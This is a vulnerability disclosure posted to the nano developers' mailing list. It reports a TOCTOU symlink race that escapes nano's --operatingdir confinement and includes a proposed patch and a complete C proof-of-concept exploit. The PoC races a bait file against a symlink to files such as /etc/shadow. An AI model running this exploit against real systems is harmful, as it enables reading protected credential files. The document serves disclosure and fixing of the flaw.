TOCTOU symlink race bypasses --operatingdir confinement
zero_o <[email protected]> Tue, 28 Apr 2026 10:12:00 +0800 (CST)
| Newsgroups | gmane.editors.nano.devel |
|---|---|
| Message-ID | <[email protected]> |
Hello nano maintainers,
I discovered a TOCTOU symlink race in nano 9.0 that bypasses the
--operatingdir sandbox, allowing arbitrary file reads and writes
outside the confined directory. I'm attaching a detailed report
and a proof-of-concept exploit.
== The Bug ==
In open_buffer() (files.c), outside_of_confinement() at line 403
calls get_full_path() -> realpath(), which resolves all symlinks
and verifies the canonical path is within operating_dir. The
canonical path is then discarded.
Later, open_file() at line 462 opens the tilde-expanded but
non-canonicalized path. Between these two points -- spanning
stat(), buffer creation, and the lockfile interaction prompt at
do_lockfile() -- a symlink swap redirects the open outside the
confinement.
The write path (write_file, lines 1790->1871) has the same flaw.
== Reproduction ==
Two methods are described in the attached report; the reliable one
uses lockfile mode:
Terminal 1: ./poc /tmp/sandbox /etc/shadow
Terminal 2: nano -l --operatingdir /tmp/sandbox \
/tmp/sandbox/innocent.txt
The lockfile prompt pauses execution between the check and the open,
creating an arbitrarily long race window -- just wait a moment
before pressing 'Y'.
Without -l, the race window is very narrow. The blind-race approach
in the PoC may require several attempts before the timing aligns.
== Fix ==
The minimal fix: resolve the path once with realpath() and use the
canonical result throughout, instead of discarding it after the
confinement check.
--- a/src/files.c
+++ b/src/files.c
@@ -400,8 +400,15 @@ bool open_buffer(const char *filename, ...)
#ifdef ENABLE_OPERATINGDIR
- if (outside_of_confinement(filename, FALSE)) {
+ char *canonical = realpath(filename, NULL);
+ if (!canonical || outside_of_confinement(canonical, FALSE)) {
+ free(canonical);
statusline(ALERT, _("Can't read file from outside of %s"),
operating_dir);
return FALSE;
}
+ free(realname);
+ realname = canonical;
#endif
A more thorough fix would use openat() with O_NOFOLLOW on an
operating-directory fd, so the kernel enforces the sandbox rather
than userspace checks.
== Attachments ==
1. SUBMISSION-CONFINEMENT-BYPASS_EN.md — Full vulnerability report
2. poc.c — PoC (compile: gcc -o poc poc.c -lpthread)
Please let me know if you need any additional information.
Thanks,
zero_o
poc.c
(text/x-c, 5.9 KB)
/**
* NANO-Operating Directory Confinement Bypass — PoC (FIXED)
*
* Demonstrates TOCTOU symlink race bypassing nano's --operatingdir confinement.
* The race continuously swaps a bait file between a regular file and a symlink,
* exploiting the window between nano's realpath() check and its open() call.
*
* COMPILE:
* gcc -o poc poc.c -lpthread
*
* USAGE (3 terminals):
* Terminal 1 (attacker): ./poc /tmp/sandbox /etc/shadow
* Terminal 2 (victim): nano --operatingdir /tmp/sandbox /tmp/sandbox/innocent.txt
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/inotify.h>
#include <pthread.h>
#include <errno.h>
#include <signal.h>
#include <time.h>
static volatile int running = 1;
static volatile long race_iterations = 0;
static volatile long nano_opens_seen = 0;
static char bait_path[4096];
static char *target_file;
static int inotify_fd;
/* Read a small chunk of inotify events without blocking */
static void drain_inotify(void)
{
char buf[4096] __attribute__((aligned(__alignof__(struct inotify_event))));
while (1) {
ssize_t len = read(inotify_fd, buf, sizeof(buf));
if (len <= 0) break;
}
}
void handle_signal(int sig)
{
running = 0;
}
/*
* Monitor thread: uses inotify to count how many times nano opens the bait file.
* Only reacts to IN_OPEN — ignores self-inflicted CREATE/DELETE events.
*/
void *monitor_nano(void *arg)
{
int wd = inotify_add_watch(inotify_fd, arg,
IN_OPEN | IN_ACCESS | IN_CLOSE);
if (wd < 0) {
perror("inotify_add_watch");
return NULL;
}
char buf[4096] __attribute__((aligned(__alignof__(struct inotify_event))));
while (running) {
/* Use non-blocking read with a short timeout to stay responsive */
fd_set fds;
struct timeval tv = {0, 50000}; /* 50ms */
FD_ZERO(&fds);
FD_SET(inotify_fd, &fds);
if (select(inotify_fd + 1, &fds, NULL, NULL, &tv) <= 0)
continue;
ssize_t len = read(inotify_fd, buf, sizeof(buf));
if (len < 0) {
if (errno == EAGAIN) continue;
break;
}
const struct inotify_event *event;
for (char *ptr = buf; ptr < buf + len;
ptr += sizeof(struct inotify_event) + event->len) {
event = (const struct inotify_event *)ptr;
if (event->len == 0) continue;
if (strcmp(event->name, "innocent.txt") == 0 &&
(event->mask & IN_OPEN)) {
nano_opens_seen++;
fprintf(stderr, "\r[!] nano OPEN detected (#%ld) at iteration %ld \n",
nano_opens_seen, race_iterations);
}
}
}
inotify_rm_watch(inotify_fd, wd);
return NULL;
}
int main(int argc, char **argv)
{
if (argc < 2) {
fprintf(stderr, "Usage: %s <operating_directory> [target_file]\n", argv[0]);
fprintf(stderr, "\n");
fprintf(stderr, " operating_directory Path nano uses with --operatingdir\n");
fprintf(stderr, " target_file File to read outside confinement (default: /etc/passwd)\n");
fprintf(stderr, "\nEXAMPLE:\n");
fprintf(stderr, " Terminal 1: %s /tmp/sandbox /etc/shadow\n", argv[0]);
fprintf(stderr, " Terminal 2: nano --operatingdir /tmp/sandbox /tmp/sandbox/innocent.txt\n");
return 1;
}
char *operating_dir = argv[1];
target_file = (argc > 2) ? argv[2] : "/etc/passwd";
mkdir(operating_dir, 0755);
snprintf(bait_path, sizeof(bait_path), "%s/innocent.txt", operating_dir);
/* Create initial bait file */
FILE *f = fopen(bait_path, "w");
if (!f) {
perror("fopen bait");
return 1;
}
fprintf(f, "This is innocent content that should appear safe.\n");
fclose(f);
/* Verify target file is readable */
if (access(target_file, R_OK) != 0)
fprintf(stderr, "[*] Warning: cannot read %s: %s\n", target_file, strerror(errno));
/* Set up inotify */
inotify_fd = inotify_init1(IN_NONBLOCK);
if (inotify_fd < 0) {
perror("inotify_init1");
return 1;
}
signal(SIGINT, handle_signal);
signal(SIGTERM, handle_signal);
/* Start monitor thread */
pthread_t monitor_thread;
pthread_create(&monitor_thread, NULL, monitor_nano, operating_dir);
printf("=== NANO: Operating Directory Confinement Bypass ===\n");
printf("Sandbox: %s\n", operating_dir);
printf("Bait file: %s\n", bait_path);
printf("Target: %s\n", target_file);
printf("\n");
printf("[*] NOW run nano in another terminal:\n");
printf(" nano --operatingdir %s %s\n", operating_dir, bait_path);
printf("[*] The race is running — it will keep going until you press Ctrl+C.\n");
printf("[*] If successful, nano will display the target file content.\n");
printf("[*] Press Ctrl+C to stop.\n\n");
/*
* Main race loop: blind-race the bait file between regular and symlink.
* nano's realpath() happens during one of the "regular file" phases,
* and open() might catch a "symlink" phase → confinement bypass.
*
* We drain inotify periodically to prevent the buffer from filling up
* with our own CREATE/DELETE events.
*/
while (running) {
/* Phase 1: make it a regular file (for nano's realpath check) */
unlink(bait_path);
FILE *rf = fopen(bait_path, "w");
if (rf) {
fprintf(rf, "Innocent content.\n");
fclose(rf);
}
/* Phase 2: switch to symlink (for nano's open) */
unlink(bait_path);
symlink(target_file, bait_path);
/* Phase 3: back to regular file */
unlink(bait_path);
rf = fopen(bait_path, "w");
if (rf) {
fprintf(rf, "Innocent content.\n");
fclose(rf);
}
race_iterations += 3;
/* Drain inotify every ~1000 cycles to prevent buffer overflow */
if (race_iterations % 3000 == 0)
drain_inotify();
/* Status update every ~100k iterations */
if (race_iterations % 100000 == 0)
fprintf(stderr, "\r[*] Raced %ld times, nano opens seen: %ld",
race_iterations, nano_opens_seen);
}
fprintf(stderr, "\n\n[*] Stopped after %ld iterations, %ld nano opens detected.\n",
race_iterations, nano_opens_seen);
pthread_join(monitor_thread, NULL);
/* Cleanup */
unlink(bait_path);
rmdir(operating_dir);
close(inotify_fd);
printf("[*] Cleanup complete.\n");
return 0;
}
SUBMISSION-CONFINEMENT-BYPASS_EN.md
(application/octet-stream, 5.2 KB) - not displayed